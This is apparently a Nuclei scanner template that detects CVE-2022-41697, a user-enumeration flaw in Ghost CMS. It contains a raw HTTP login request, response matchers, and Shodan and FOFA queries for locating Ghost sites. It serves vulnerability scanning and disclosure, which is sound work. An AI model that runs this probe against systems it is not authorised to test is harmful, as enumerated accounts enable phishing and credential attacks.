id: CVE-2022-41697

info:
  name: Ghost CMS - User Enumeration
  author: ritikchaddha
  severity: medium
  description: |
    Ghost CMS 5.9.4 contains a user enumeration vulnerability in the login functionality. The application reveals whether a user account exists through different error messages, allowing attackers to enumerate valid user accounts via specially-crafted HTTP requests.
  impact: |
    Attackers can identify valid usernames/email addresses, facilitating targeted attacks such as phishing, credential stuffing, or brute-force password attacks.
  remediation: |
    Update to the latest version of Ghost CMS or apply security patches that implement consistent error messages regardless of whether the user exists.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2022-1625
    - https://nvd.nist.gov/vuln/detail/CVE-2022-41697
    - https://github.com/tryghost/ghost
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-41697
    cwe-id: CWE-204
    epss-score: 0.20196
    epss-percentile: 0.97129
  metadata:
    verified: true
    max-request: 1
    vendor: ghost
    product: ghost
    shodan-query: http.component:"ghost"
    fofa-query: app="Ghost"
  tags: cve,cve2022,ghost,enum,disclosure

http:
  - raw:
      - |
        POST /ghost/api/admin/session HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{randstr}}@example.com","password":"{{randstr}}"}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "There is no user with that email address", "NotFoundError")'
          - 'contains(content_type, "application/json")'
          - '!contains(body, "Resource not found")'
          - 'status_code == 404'
        condition: and
# digest: 4b0a00483046022100f557ff37430f7fd04ef9bdb7f39259114b524117bd7f447c8a71f68874f3bbcb022100abab4bbf5f67637c80aece1da29213a324a1bdcb0e5868bce322fc25151608dd:922c64590222798bb761d5b6d8e72950